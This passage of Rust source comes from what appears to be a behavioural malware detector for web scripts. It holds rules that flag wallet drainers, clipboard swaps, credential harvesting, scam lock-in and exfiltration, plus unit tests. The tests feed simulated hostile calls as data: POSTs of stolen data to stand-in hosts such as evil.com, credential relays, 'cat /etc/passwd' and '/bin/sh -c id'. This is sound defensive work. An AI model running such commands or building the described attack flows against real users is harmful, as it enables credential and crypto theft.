2753        evidence.dedup();
2754        s.findings.push(BehavioralFinding {
2755            severity: Severity::Critical,
2756            category: Category::CodeInjection,
2757            title: "WASM-assisted dynamic execution".into(),
2758            detail: "Script combines WebAssembly with dynamic code execution, a strong signal of staged runtime payload generation".into(),
2759            evidence,
2760        });
2761    }
2762
2763    if !s.wasm_indices.is_empty()
2764        && (s.has_credential_surface || !s.external_credential_action_indices.is_empty())
2765    {
2766        let mut evidence = s.wasm_indices.clone();
2767        evidence.extend(&s.credential_surface_indices);
2768        evidence.extend(&s.external_credential_action_indices);
2769        evidence.sort_unstable();
2770        evidence.dedup();
2771        s.findings.push(BehavioralFinding {
2772            severity: Severity::Critical,
2773            category: Category::CredentialTheft,
2774            title: "WASM-assisted credential staging".into(),
2775            detail: "Script stages WebAssembly alongside credential collection or off-origin credential delivery, indicating hidden credential theft logic".into(),
2776            evidence,
2777        });
2778    }
2779
2780    if s.has_wallet_connect && (s.has_sign_transaction || s.has_sign_message) {
2781        let mut evidence = Vec::new();
2782        if let Some(idx) = s.wallet_connect_idx {
2783            evidence.push(idx);
2784        }
2785        evidence.extend(&s.sign_indices);
2786        s.findings.push(BehavioralFinding {
2787            severity: Severity::Critical,
2788            category: Category::CryptoTheft,
2789            title: "CONFIRMED: Crypto wallet drainer".into(),
2790            detail: "Script connects to wallet AND requests transaction/message signing  -  this is a wallet drainer attack".into(),
2791            evidence,
2792        });
2793    }
2794
2795    if s.has_wallet_connect && s.has_chain_switch {
2796        s.findings.push(BehavioralFinding {
2797            severity: Severity::Critical,
2798            category: Category::CryptoTheft,
2799            title: "Wallet drainer with chain manipulation".into(),
2800            detail: "Script connects wallet and switches chain  -  drainers move victims to attacker-controlled networks".into(),
2801            evidence: s.wallet_connect_idx.into_iter().collect(),
2802        });
2803    }
2804
2805    if s.has_wallet_connect && s.has_external_fetch {
2806        let mut evidence = Vec::new();
2807        if let Some(idx) = s.wallet_connect_idx {
2808            evidence.push(idx);
2809        }
2810        evidence.extend(&s.fetch_indices);
2811        s.findings.push(BehavioralFinding {
2812            severity: Severity::High,
2813            category: Category::CryptoTheft,
2814            title: "Wallet drainer with C2 communication".into(),
2815            detail: format!(
2816                "Script connects wallet and communicates with external server: {}",
2817                s.external_urls.join(", ")
2818            ),
2819            evidence,
2820        });
2821    }
2822
2823    if s.has_clipboard_read && s.has_clipboard_write {
2824        s.findings.push(BehavioralFinding {
2825            severity: Severity::Critical,
2826            category: Category::ClipboardHijack,
2827            title: "CONFIRMED: Clipboard swap attack".into(),
2828            detail: "Script reads clipboard content and writes replacement  -  classic crypto address swap attack".into(),
2829            evidence: Vec::new(),
2830        });
2831    }
2832
2833    if s.has_credential_surface
2834        && s.has_clipboard_read
2835        && s.input_monitor_events.iter().any(|event| event == "paste")
2836    {
2837        let mut evidence = s.credential_surface_indices.clone();
2838        evidence.extend(&s.input_monitor_indices);
2839        evidence.sort_unstable();
2840        evidence.dedup();
2841        s.findings.push(BehavioralFinding {
2842            severity: Severity::Critical,
2843            category: Category::CredentialTheft,
2844            title: "Pasted secret interception".into(),
2845            detail: "Script combines a credential surface with paste-event monitoring and clipboard reads, allowing interception of pasted one-time codes, passwords, or wallet secrets before submission".into(),
2846            evidence,
2847        });
2848    }
2849
2850    if s.has_clipboard_write && s.has_wallet_connect {
2851        s.findings.push(BehavioralFinding {
2852            severity: Severity::Critical,
2853            category: Category::CryptoTheft,
2854            title: "Clipboard + wallet combined attack".into(),
2855            detail:
2856                "Script manipulates clipboard AND connects to wallet  -  multi-vector crypto theft"
2857                    .into(),
2858            evidence: Vec::new(),
2859        });
2860    }
2861
2862    if s.has_credential_surface && !s.notification_permission_indices.is_empty() {
2863        let mut evidence = s.credential_surface_indices.clone();
2864        evidence.extend(&s.notification_permission_indices);
2865        evidence.sort_unstable();
2866        evidence.dedup();
2867        s.findings.push(BehavioralFinding {
2868            severity: Severity::High,
2869            category: Category::Persistence,
2870            title: "Credential lure with notification re-engagement".into(),
2871            detail: "Script combines a credential surface with notification permission prompts, a common tactic for persistent phishing re-entry after the tab closes".into(),
2872            evidence,
2873        });
2874    }
2875
2876    if !s.notification_permission_indices.is_empty() && !s.notification_create_indices.is_empty() {
2877        let mut evidence = s.notification_permission_indices.clone();
2878        evidence.extend(&s.notification_create_indices);
2879        evidence.sort_unstable();
2880        evidence.dedup();
2881        s.findings.push(BehavioralFinding {
2882            severity: Severity::High,
2883            category: Category::Persistence,
2884            title: "Notification-based re-entry channel".into(),
2885            detail: "Script requests notification permission and immediately prepares notification content, indicating persistent lure infrastructure rather than passive feature detection".into(),
2886            evidence,
2887        });
2888    }
2889
2890    if s.has_wallet_connect && !s.payment_request_indices.is_empty() {
2891        let mut evidence = s.payment_request_indices.clone();
2892        if let Some(idx) = s.wallet_connect_idx {
2893            evidence.push(idx);
2894        }
2895        evidence.sort_unstable();
2896        evidence.dedup();
2897        s.findings.push(BehavioralFinding {
2898            severity: Severity::Critical,
2899            category: Category::CryptoTheft,
2900            title: "Wallet theft with browser payment coercion".into(),
2901            detail: "Script combines wallet access with browser-native payment prompts, indicating multi-channel payment theft rather than a benign wallet interaction".into(),
2902            evidence,
2903        });
2904    }
2905
2906    let mut coercion_indices = s.beforeunload_register_indices.clone();
2907    coercion_indices.extend(s.fullscreen_indices.iter().copied());
2908    coercion_indices.extend(s.pointer_lock_indices.iter().copied());
2909    coercion_indices.sort_unstable();
2910    coercion_indices.dedup();
2911
2912    if !s.urgent_dialog_indices.is_empty() && !coercion_indices.is_empty() {
2913        let mut evidence = s.urgent_dialog_indices.clone();
2914        evidence.extend(coercion_indices.iter().copied());
2915        evidence.sort_unstable();
2916        evidence.dedup();
2917        s.findings.push(BehavioralFinding {
2918            severity: Severity::High,
2919            category: Category::Evasion,
2920            title: "Modal lock-in and navigation trapping".into(),
2921            detail: "Script combines urgent blocking dialogs with navigation or UI-trapping controls such as beforeunload, fullscreen, or pointer lock, a classic tech-support scam and coercion pattern".into(),
2922            evidence,
2923        });
2924    }
2925
2926    if !s.urgent_dialog_indices.is_empty()
2927        && (!s.beforeunload_trigger_indices.is_empty() || !coercion_indices.is_empty())
2928        && s.has_external_fetch
2929    {
2930        let mut evidence = s.urgent_dialog_indices.clone();
2931        evidence.extend(coercion_indices.iter().copied());
2932        evidence.extend(s.beforeunload_trigger_indices.iter().copied());
2933        evidence.extend(s.fetch_indices.iter().copied());
2934        evidence.sort_unstable();
2935        evidence.dedup();
2936        s.findings.push(BehavioralFinding {
2937            severity: Severity::Critical,
2938            category: Category::Evasion,
2939            title: "Tech-support style lock-in with off-origin staging".into(),
2940            detail: "Script combines urgent blocking dialogs, navigation or UI trapping, and off-origin activity, indicating a coercive lock-in campaign rather than benign exit handling".into(),
2941            evidence,
2942        });
2943    }
2944
2945    let mut alarm_indices = s.vibration_indices.clone();
2946    alarm_indices.extend(s.speech_indices.iter().copied());
2947    alarm_indices.sort_unstable();
2948    alarm_indices.dedup();
2949
2950    if !s.urgent_dialog_indices.is_empty() && !alarm_indices.is_empty() {
2951        let mut evidence = s.urgent_dialog_indices.clone();
2952        evidence.extend(alarm_indices.iter().copied());
2953        evidence.sort_unstable();
2954        evidence.dedup();
2955        s.findings.push(BehavioralFinding {
2956            severity: Severity::High,
2957            category: Category::Evasion,
2958            title: "Alarm-style coercion cues".into(),
2959            detail: "Script combines urgent warning dialogs with haptic or spoken alarm cues, a coercive panic pattern common in scam and support-lure flows".into(),
2960            evidence,
2961        });
2962    }
2963
2964    if !s.urgent_dialog_indices.is_empty() && !alarm_indices.is_empty() && s.has_external_fetch {
2965        let mut evidence = s.urgent_dialog_indices.clone();
2966        evidence.extend(alarm_indices.iter().copied());
2967        evidence.extend(s.fetch_indices.iter().copied());
2968        evidence.sort_unstable();
2969        evidence.dedup();
2970        s.findings.push(BehavioralFinding {
2971            severity: Severity::Critical,
2972            category: Category::Evasion,
2973            title: "Alarm-style coercion with off-origin staging".into(),
2974            detail: "Script combines urgent warning dialogs, haptic or spoken alarm cues, and off-origin activity, indicating a panic-driven coercion flow rather than benign notification behavior".into(),
2975            evidence,
2976        });
2977    }
2978
2979    let mut lifecycle_indices = s.beforeunload_register_indices.clone();
2980    lifecycle_indices.extend(s.pagehide_register_indices.iter().copied());
2981    lifecycle_indices.extend(s.visibilitychange_register_indices.iter().copied());
2982    lifecycle_indices.sort_unstable();
2983    lifecycle_indices.dedup();
2984
2985    if !lifecycle_indices.is_empty()
2986        && (s.has_external_fetch || !s.beacon_indices.is_empty() || !s.websocket_indices.is_empty())
2987    {
2988        let mut evidence = lifecycle_indices;
2989        evidence.extend(s.fetch_indices.iter().copied());
2990        evidence.extend(s.beacon_indices.iter().copied());
2991        evidence.extend(s.websocket_indices.iter().copied());
2992        evidence.sort_unstable();
2993        evidence.dedup();
2994        s.findings.push(BehavioralFinding {
2995            severity: Severity::High,
2996            category: Category::DataExfiltration,
2997            title: "Lifecycle-triggered exfiltration staging".into(),
2998            detail: "Script registers lifecycle exit hooks such as beforeunload, pagehide, or visibilitychange alongside off-origin delivery, a common pattern for unload-time exfiltration and stealthy staged beacons".into(),
2999            evidence,
3000        });
3001    }
3002
3003    if !s.geolocation_indices.is_empty() && s.has_external_fetch {
3004        let mut evidence = s.geolocation_indices.clone();
3005        evidence.extend(&s.fetch_indices);
3006        evidence.sort_unstable();
3007        evidence.dedup();
3008        s.findings.push(BehavioralFinding {
3009            severity: Severity::High,
3010            category: Category::PrivacyViolation,
3011            title: "Location data collected and sent off-origin".into(),
3012            detail: format!(
3013                "Script accesses geolocation data and communicates externally: {}",
3014                s.external_urls.join(", ")
3015            ),
3016            evidence,
3017        });
3018    }
3019
3020    if s.has_credential_surface && !s.geolocation_indices.is_empty() {
3021        let mut evidence = s.credential_surface_indices.clone();
3022        evidence.extend(&s.geolocation_indices);
3023        evidence.sort_unstable();
3024        evidence.dedup();
3025        s.findings.push(BehavioralFinding {
3026            severity: Severity::High,
3027            category: Category::CredentialTheft,
3028            title: "Geo-targeted credential lure".into(),
3029            detail: "Script combines a credential collection surface with geolocation access, indicating location-aware victim selection or targeting".into(),
3030            evidence,
3031        });
3032    }
3033
3034    s.findings.sort_by(|a, b| b.severity.cmp(&a.severity));
3035    let risk_score = compute_risk_score(&s.findings);
3036
3037    AnalysisReport {
3038        findings: s.findings,
3039        timeline: s.timeline,
3040        risk_score,
3041        observation_count: observations.len(),
3042    }
3043}
3044
3045fn categorize_api(api: &str) -> Category {
3046    if api.contains("ethereum")
3047        || api.contains("solana")
3048        || api.starts_with("crypto.sign")
3049        || api.starts_with("crypto.solana")
3050        || api.starts_with("crypto.chain")
3051    {
3052        Category::CryptoTheft
3053    } else if api.contains("clipboard") {
3054        Category::ClipboardHijack
3055    } else if api.contains("geolocation") || api.contains("notification") || api.contains("payment")
3056    {
3057        Category::PrivacyViolation
3058    } else if is_command_execution_api(api) {
3059        Category::CodeInjection
3060    } else if api.contains("cookie") {
3061        Category::CookieAccess
3062    } else if api.contains("fetch") || api.contains("xhr") || api.contains("Request") {
3063        Category::NetworkActivity
3064    } else if api.contains("eval") || api.contains("Function") || api.contains("executeScript") {
3065        Category::CodeInjection
3066    } else if api.contains("Storage") || api.contains("storage") {
3067        Category::Persistence
3068    } else if api.contains("fingerprint") || api.contains("canvas") || api.contains("webgl") {
3069        Category::Fingerprinting
3070    } else if api.contains("webRequest") {
3071        Category::NetworkActivity
3072    } else {
3073        Category::DomManipulation
3074    }
3075}
3076
3077fn is_urgent_dialog_message(message: &str) -> bool {
3078    let lower = message.to_ascii_lowercase();
3079    [
3080        "timeout",
3081        "expired",
3082        "session",
3083        "error",
3084        "try again",
3085        "invalid",
3086        "suspended",
3087        "verify",
3088        "unauthorized",
3089        "blocked",
3090        "infected",
3091        "warning",
3092        "support",
3093        "call now",
3094        "security",
3095    ]
3096    .iter()
3097    .any(|needle| lower.contains(needle))
3098}
3099
3100fn extract_url_from_args(args: &[Value]) -> Option<String> {
3101    for arg in args {
3102        if let Value::String(s, _) = arg {
3103            if s.starts_with("http://") || s.starts_with("https://") {
3104                return Some(s.clone());
3105            }
3106            if s.starts_with('[')
3107                && let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
3108            {
3109                for item in arr {
3110                    if let Some(str_val) = item.as_str()
3111                        && (str_val.starts_with("http://") || str_val.starts_with("https://"))
3112                    {
3113                        return Some(str_val.to_string());
3114                    }
3115                }
3116            }
3117            if let Some(pos) = s.find("https://").or_else(|| s.find("http://")) {
3118                let rest = &s[pos..];
3119                let end = rest.find(['"', '\'', ' ', '>', ']']).unwrap_or(rest.len());
3120                let url = &rest[..end];
3121                if url.len() > 10 {
3122                    return Some(url.to_string());
3123                }
3124            }
3125        }
3126    }
3127    None
3128}
3129
3130fn is_external_url(url: &str) -> bool {
3131    url.starts_with("http://") || url.starts_with("https://")
3132}
3133
3134fn extract_first_string_arg(args: &[Value]) -> Option<String> {
3135    for arg in args {
3136        if let Value::String(s, _) = arg {
3137            if s.starts_with('[') {
3138                if let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
3139                    && let Some(first) = arr.first()
3140                    && let Some(s) = first.as_str()
3141                {
3142                    return Some(s.to_string());
3143                }
3144            } else {
3145                return Some(s.clone());
3146            }
3147        }
3148    }
3149    None
3150}
3151
3152fn extract_second_string_arg(args: &[Value]) -> Option<String> {
3153    for arg in args {
3154        if let Value::String(s, _) = arg
3155            && s.starts_with('[')
3156            && let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
3157            && let Some(second) = arr.get(1)
3158            && let Some(s) = second.as_str()
3159        {
3160            return Some(s.to_string());
3161        }
3162    }
3163    None
3164}
3165
3166fn extract_third_string_arg(args: &[Value]) -> Option<String> {
3167    for arg in args {
3168        if let Value::String(s, _) = arg
3169            && s.starts_with('[')
3170            && let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
3171            && let Some(third) = arr.get(2)
3172            && let Some(s) = third.as_str()
3173        {
3174            return Some(s.to_string());
3175        }
3176    }
3177    None
3178}
3179
3180fn extract_delay_arg(args: &[Value]) -> Option<u32> {
3181    for arg in args {
3182        if let Value::String(s, _) = arg
3183            && s.starts_with('[')
3184            && let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
3185            && let Some(delay) = arr.get(1)
3186        {
3187            if let Some(n) = delay.as_u64() {
3188                return u32::try_from(n).ok();
3189            }
3190            if let Some(s) = delay.as_str()
3191                && let Ok(n) = s.parse::<u32>()
3192            {
3193                return Some(n);
3194            }
3195        }
3196    }
3197    None
3198}
3199
3200fn extract_postmessage_target_origin(args: &[Value]) -> Option<String> {
3201    let raw = args.first().and_then(Value::as_str)?;
3202    let parsed = serde_json::from_str::<Vec<serde_json::Value>>(raw).ok()?;
3203    parsed
3204        .get(1)
3205        .and_then(|v| v.as_str())
3206        .map(ToString::to_string)
3207}
3208
3209fn extract_postmessage_payload(args: &[Value]) -> Option<String> {
3210    let raw = args.first().and_then(Value::as_str)?;
3211    let parsed = serde_json::from_str::<Vec<serde_json::Value>>(raw).ok()?;
3212    parsed.first().map(|v| {
3213        if let Some(s) = v.as_str() {
3214            s.to_string()
3215        } else {
3216            v.to_string()
3217        }
3218    })
3219}
3220
3221fn is_wildcard_target_origin(origin: &str) -> bool {
3222    matches!(origin, "*" | "null" | "/" | "")
3223}
3224
3225fn is_child_process_require(api: &str, args: &[Value]) -> bool {
3226    matches!(api, "require" | "node:require")
3227        && extract_first_string_arg(args)
3228            .is_some_and(|module| matches!(module.as_str(), "child_process" | "node:child_process"))
3229}
3230
3231fn is_command_execution_api(api: &str) -> bool {
3232    matches!(
3233        api,
3234        "child_process.exec" | "child_process.execSync" | "child_process.spawn"
3235    )
3236}
3237
3238fn compute_risk_score(findings: &[BehavioralFinding]) -> u8 {
3239    let mut score: u32 = 0;
3240    for finding in findings {
3241        let base: u32 = match finding.severity {
3242            Severity::Critical => 30,
3243            Severity::High => 20,
3244            Severity::Medium => 10,
3245            Severity::Low => 5,
3246            Severity::Info => 1,
3247            // `secfinding::Severity` is `#[non_exhaustive]`; any future
3248            // variant defaults to the informational score so risk
3249            // weighting never panics on unknown severities.
3250            _ => 1,
3251        };
3252        let multiplier: u32 = if finding.title.starts_with("CONFIRMED:")
3253            || finding.title.starts_with("DIRECT ETH TRANSFER")
3254        {
3255            2
3256        } else {
3257            1
3258        };
3259        score = score.saturating_add(base.saturating_mul(multiplier));
3260    }
3261    score.min(100) as u8
3262}
3263
3264#[cfg(test)]
3265mod tests {
3266    use super::*;
3267    use crate::observation::DynamicCodeSource;
3268
3269    #[test]
3270    fn cookie_plus_fetch_is_exfiltration() {
3271        let observations = vec![
3272            Observation::ApiCall {
3273                api: "document.cookie.get".into(),
3274                args: vec![],
3275                result: Value::string("session=abc"),
3276            },
3277            Observation::ApiCall {
3278                api: "fetch".into(),
3279                args: vec![Value::string("[\"https://evil.com/exfil\",\"POST\"]")],
3280                result: Value::Undefined,
3281            },
3282        ];
3283        let report = analyze(&observations);
3284        assert!(
3285            report
3286                .findings
3287                .iter()
3288                .any(|f| f.category == Category::DataExfiltration),
3289            "should detect data exfiltration"
3290        );
3291        assert!(report.risk_score >= 30);
3292    }
3293
3294    #[test]
3295    fn eval_is_code_injection() {
3296        let observations = vec![Observation::DynamicCodeExec {
3297            source: DynamicCodeSource::Eval,
3298            code_preview: "alert(1)".into(),
3299        }];
3300        let report = analyze(&observations);
3301        assert!(
3302            report
3303                .findings
3304                .iter()
3305                .any(|f| f.category == Category::CodeInjection)
3306        );
3307    }
3308
3309    #[test]
3310    fn empty_observations_zero_risk() {
3311        let report = analyze(&[]);
3312        assert_eq!(report.risk_score, 0);
3313        assert!(report.findings.is_empty());
3314    }
3315
3316    #[test]
3317    fn crypto_wallet_drainer_scores_critical() {
3318        let observations = vec![
3319            Observation::ApiCall {
3320                api: "ethereum.request".into(),
3321                args: vec![Value::string("[\"eth_requestAccounts\",\"[]\"]")],
3322                result: Value::Undefined,
3323            },
3324            Observation::ApiCall {
3325                api: "crypto.sign_message".into(),
3326                args: vec![Value::string(
3327                    "[\"eth_signTypedData_v4\",\"[\\\"0xVICTIM\\\",\\\"{}\\\"]\"]",
3328                )],
3329                result: Value::Undefined,
3330            },
3331            Observation::ApiCall {
3332                api: "fetch".into(),
3333                args: vec![Value::string(
3334                    "[\"https://drainer-c2.evil/api/drain\",\"POST\"]",
3335                )],
3336                result: Value::Undefined,
3337            },
3338        ];
3339        let report = analyze(&observations);
3340
3341        assert!(
3342            report
3343                .findings
3344                .iter()
3345                .any(|f| f.category == Category::CryptoTheft && f.title.contains("CONFIRMED")),
3346            "must detect confirmed crypto drainer, findings: {:?}",
3347            report.findings.iter().map(|f| &f.title).collect::<Vec<_>>()
3348        );
3349        assert!(
3350            report.risk_score >= 90,
3351            "crypto wallet drainer must score >= 90, got {}",
3352            report.risk_score
3353        );
3354    }
3355
3356    #[test]
3357    fn clipboard_swap_detected() {
3358        let observations = vec![
3359            Observation::ApiCall {
3360                api: "clipboard.readText".into(),
3361                args: vec![],
3362                result: Value::Undefined,
3363            },
3364            Observation::ApiCall {
3365                api: "clipboard.writeText".into(),
3366                args: vec![Value::string("0x742d35Cc6634C0532925a3b844Bc9e7595f2bD38")],
3367                result: Value::Undefined,
3368            },
3369        ];
3370        let report = analyze(&observations);
3371
3372        assert!(
3373            report
3374                .findings
3375                .iter()
3376                .any(|f| f.category == Category::ClipboardHijack && f.title.contains("CONFIRMED")),
3377            "must detect confirmed clipboard swap"
3378        );
3379        assert!(
3380            report
3381                .findings
3382                .iter()
3383                .any(|f| f.title.contains("crypto address")),
3384            "must detect crypto address in clipboard write"
3385        );
3386    }
3387
3388    #[test]
3389    fn multi_vector_attack_maxes_risk() {
3390        let observations = vec![
3391            Observation::ApiCall {
3392                api: "document.cookie.get".into(),
3393                args: vec![],
3394                result: Value::string("session=abc"),
3395            },
3396            Observation::ApiCall {
3397                api: "ethereum.request".into(),
3398                args: vec![Value::string("[\"eth_requestAccounts\",\"[]\"]")],
3399                result: Value::Undefined,
3400            },
3401            Observation::ApiCall {
3402                api: "clipboard.writeText".into(),
3403                args: vec![Value::string("0xATTACKER")],
3404                result: Value::Undefined,
3405            },
3406            Observation::ApiCall {
3407                api: "crypto.sign_transaction".into(),
3408                args: vec![Value::string("[{\"to\":\"0xATTACKER\"}]")],
3409                result: Value::Undefined,
3410            },
3411            Observation::ApiCall {
3412                api: "fetch".into(),
3413                args: vec![Value::string("[\"https://mega-c2.evil/harvest\",\"POST\"]")],
3414                result: Value::Undefined,
3415            },
3416        ];
3417        let report = analyze(&observations);
3418        assert_eq!(
3419            report.risk_score, 100,
3420            "multi-vector attack must score 100, got {}",
3421            report.risk_score
3422        );
3423    }
3424
3425    #[test]
3426    fn child_process_exec_api_call_is_critical() {
3427        let observations = vec![
3428            Observation::ApiCall {
3429                api: "require".into(),
3430                args: vec![Value::string("child_process")],
3431                result: Value::Undefined,
3432            },
3433            Observation::ApiCall {
3434                api: "child_process.exec".into(),
3435                args: vec![Value::string("cat /etc/passwd")],
3436                result: Value::Undefined,
3437            },
3438        ];
3439
3440        let report = analyze(&observations);
3441
3442        assert!(
3443            report.findings.iter().any(|f| {
3444                f.severity == Severity::Critical
3445                    && f.category == Category::CodeInjection
3446                    && f.title.contains("Command execution")
3447            }),
3448            "expected critical command execution finding, got {:?}",
3449            report.findings.iter().map(|f| &f.title).collect::<Vec<_>>()
3450        );
3451        assert!(
3452            report.risk_score >= 50,
3453            "expected elevated risk, got {}",
3454            report.risk_score
3455        );
3456    }
3457
3458    #[test]
3459    fn child_process_spawn_api_call_is_critical() {
3460        let observations = vec![Observation::ApiCall {
3461            api: "child_process.spawn".into(),
3462            args: vec![Value::string("[\"/bin/sh\",\"-c\",\"id\"]")],
3463            result: Value::Undefined,
3464        }];
3465
3466        let report = analyze(&observations);
3467
3468        assert!(report.findings.iter().any(|f| {
3469            f.severity == Severity::Critical
3470                && f.category == Category::CodeInjection
3471                && f.title.contains("spawn")
3472        }));
3473    }
3474
3475    #[test]
3476    fn postmessage_credential_relay_is_critical() {
3477        let observations = vec![Observation::ApiCall {
3478            api: "postMessage.send".into(),
3479            args: vec![Value::string(
3480                "[{\"email\":\"victim@example.com\",\"password\":\"hunter2\",\"otp\":\"123456\"},\"https://evil.com\"]",
3481            )],
3482            result: Value::Undefined,
3483        }];
3484
3485        let report = analyze(&observations);
3486
3487        assert!(report.findings.iter().any(|f| {
3488            f.severity == Severity::Critical
3489                && f.category == Category::CredentialTheft
3490                && f.title.contains("Credential relay via postMessage")
3491        }));
3492    }
3493
3494    #[test]
3495    fn popup_pivot_to_external_url_is_detected() {
3496        let observations = vec![Observation::ApiCall {
3497            api: "window.open".into(),
3498            args: vec![Value::string(
3499                "[\"https://workers.dev/fake-login\",\"_blank\"]",
3500            )],
3501            result: Value::Undefined,
3502        }];
3503
3504        let report = analyze(&observations);
3505
3506        assert!(report.findings.iter().any(|f| {
3507            f.severity == Severity::High
3508                && f.category == Category::NetworkActivity
3509                && f.title.contains("Popup pivot to external URL")
3510        }));
3511    }
3512
3513    #[test]
3514    fn wildcard_postmessage_with_credentials_is_critical() {
3515        let observations = vec![Observation::ApiCall {
3516            api: "postMessage.send".into(),
3517            args: vec![Value::string(
3518                "[{\"email\":\"victim@example.com\",\"password\":\"hunter2\"},\"*\"]",
3519            )],
3520            result: Value::Undefined,
3521        }];
3522
3523        let report = analyze(&observations);
3524
3525        assert!(report.findings.iter().any(|f| {
3526            f.severity == Severity::Critical
3527                && f.category == Category::CredentialTheft
3528                && f.title.contains("wildcard postMessage")
3529        }));
3530    }
3531
3532    #[test]
3533    fn credential_surface_plus_external_flow_is_confirmed_harvest() {
3534        let observations = vec![
3535            Observation::ApiCall {
3536                api: "credential_form_detected".into(),
3537                args: vec![Value::string(
3538                    "[\"https://evil.com/collect\",\"password\",\"true\"]",
3539                )],
3540                result: Value::Undefined,
3541            },
3542            Observation::ApiCall {
3543                api: "fetch".into(),
3544                args: vec![Value::string("[\"https://evil.com/ready\",\"POST\"]")],
3545                result: Value::Undefined,
3546            },
3547        ];
3548
3549        let report = analyze(&observations);
3550
3551        assert!(report.findings.iter().any(|f| {
3552            f.severity == Severity::Critical
3553                && f.category == Category::CredentialTheft
3554                && f.title.contains("Staged credential harvesting flow")
3555        }));
3556    }
3557
3558    #[test]
3559    fn popup_plus_postmessage_is_cross_window_handoff() {
3560        let observations = vec![
3561            Observation::ApiCall {
3562                api: "window.open".into(),
3563                args: vec![Value::string(
3564                    "[\"https://workers.dev/fake-login\",\"_blank\"]",
3565                )],
3566                result: Value::Undefined,
3567            },
3568            Observation::ApiCall {
3569                api: "postMessage.send".into(),
3570                args: vec![Value::string(
3571                    "[{\"email\":\"victim@example.com\",\"password\":\"hunter2\"},\"https://evil.com\"]",
3572                )],
3573                result: Value::Undefined,
3574            },
3575        ];
3576
3577        let report = analyze(&observations);
3578
3579        assert!(report.findings.iter().any(|f| {
3580            f.severity == Severity::Critical
3581                && f.category == Category::CredentialTheft
3582                && f.title.contains("Cross-window credential handoff")
3583        }));
3584    }
3585
3586    #[test]
3587    fn service_worker_plus_storage_plus_fetch_is_persistent_abuse() {
3588        let observations = vec![
3589            Observation::ApiCall {
3590                api: "serviceworker.register".into(),
3591                args: vec![Value::string("[\"/sw.js?stage=credential-harvest\"]")],
3592                result: Value::Undefined,
3593            },
3594            Observation::ApiCall {
3595                api: "localStorage.setItem".into(),
3596                args: vec![Value::string("[\"campaign\",\"office365\"]")],
3597                result: Value::Undefined,
3598            },
3599            Observation::ApiCall {
3600                api: "fetch".into(),
3601                args: vec![Value::string("[\"https://evil.com/ready\",\"POST\"]")],
3602                result: Value::Undefined,
3603            },
3604        ];
3605
3606        let report = analyze(&observations);
3607
3608        assert!(report.findings.iter().any(|f| {
3609            f.severity == Severity::Critical
3610                && f.category == Category::Persistence
3611                && f.title.contains("Persistent staged phishing")
3612        }));
3613    }
3614
3615    #[test]
3616    fn delayed_service_worker_campaign_is_detected() {
3617        let observations = vec![
3618            Observation::ApiCall {
3619                api: "timer.setTimeout".into(),
3620                args: vec![Value::string("[1,5000]")],
3621                result: Value::Undefined,
3622            },
3623            Observation::ApiCall {
3624                api: "serviceworker.register".into(),
3625                args: vec![Value::string("[\"/sw.js?stage=credential-harvest\"]")],
3626                result: Value::Undefined,
3627            },
3628            Observation::ApiCall {
3629                api: "localStorage.setItem".into(),
3630                args: vec![Value::string("[\"campaign\",\"office365\"]")],
3631                result: Value::Undefined,
3632            },
3633            Observation::ApiCall {
3634                api: "fetch".into(),
3635                args: vec![Value::string("[\"https://evil.com/ready\",\"POST\"]")],
3636                result: Value::Undefined,
3637            },
3638        ];
3639
3640        let report = analyze(&observations);
3641
3642        assert!(report.findings.iter().any(|f| {
3643            f.severity == Severity::Critical
3644                && f.category == Category::Persistence
3645                && f.title.contains("Delayed persistent staged abuse")
3646        }));
3647    }
3648
3649    #[test]
3650    fn credential_surface_plus_storage_and_notification_is_stateful_reentry() {
3651        let observations = vec![
3652            Observation::ApiCall {
3653                api: "credential_form_detected".into(),
3654                args: vec![Value::string(
3655                    "[\"https://evil.com/collect\",\"password\",\"true\"]",
3656                )],
3657                result: Value::Undefined,
3658            },
3659            Observation::ApiCall {
3660                api: "localStorage.setItem".into(),
3661                args: vec![Value::string("[\"campaign\",\"office365\"]")],
3662                result: Value::Undefined,
3663            },
3664            Observation::ApiCall {
3665                api: "notification.create".into(),
3666                args: vec![Value::string("[\"Session expired\",\"{}\"]")],
3667                result: Value::Undefined,
3668            },
3669        ];
3670
3671        let report = analyze(&observations);
3672
3673        assert!(report.findings.iter().any(|f| {
3674            f.severity == Severity::Critical
3675                && f.category == Category::Persistence
3676                && f.title
3677                    .contains("Stateful credential re-entry infrastructure")
3678        }));
3679    }
3680
3681    #[test]
3682    fn worker_websocket_and_credential_surface_is_background_exfiltration() {
3683        let observations = vec![
3684            Observation::ApiCall {
3685                api: "credential_form_detected".into(),
3686                args: vec![Value::string(
3687                    "[\"https://evil.com/collect\",\"password\",\"true\"]",
3688                )],
3689                result: Value::Undefined,
3690            },
3691            Observation::ApiCall {
3692                api: "worker.create".into(),
3693                args: vec![Value::string("[\"https://evil.com/bg.js\"]")],
3694                result: Value::Undefined,
3695            },
3696            Observation::ApiCall {
3697                api: "websocket.connect".into(),
3698                args: vec![Value::string("[\"wss://evil.com/socket\"]")],
3699                result: Value::Undefined,
3700            },
3701            Observation::ApiCall {
3702                api: "fetch".into(),
3703                args: vec![Value::string("[\"https://evil.com/ready\",\"POST\"]")],
3704                result: Value::Undefined,
3705            },
3706        ];
3707
3708        let report = analyze(&observations);
3709
3710        assert!(report.findings.iter().any(|f| {
3711            f.severity == Severity::Critical
3712                && f.category == Category::CredentialTheft
3713                && f.title
3714                    .contains("Background credential exfiltration channel")
3715        }));
3716        assert!(report.findings.iter().any(|f| {
3717            f.severity == Severity::Critical
3718                && f.category == Category::Persistence
3719                && f.title
3720                    .contains("Background staged exfiltration infrastructure")
3721        }));
3722    }
3723
3724    #[test]
3725    fn notification_plus_credential_surface_is_reengagement() {
3726        let observations = vec![
3727            Observation::ApiCall {
3728                api: "credential_form_detected".into(),
3729                args: vec![Value::string(
3730                    "[\"https://evil.com/collect\",\"password\",\"true\"]",
3731                )],
3732                result: Value::Undefined,
3733            },
3734            Observation::ApiCall {
3735                api: "notification.requestPermission".into(),
3736                args: vec![Value::string("[]")],
3737                result: Value::Undefined,
3738            },
3739        ];
3740
3741        let report = analyze(&observations);
3742
3743        assert!(report.findings.iter().any(|f| {
3744            f.severity == Severity::High
3745                && f.category == Category::Persistence
3746                && f.title
3747                    .contains("Credential lure with notification re-engagement")
3748        }));
3749    }
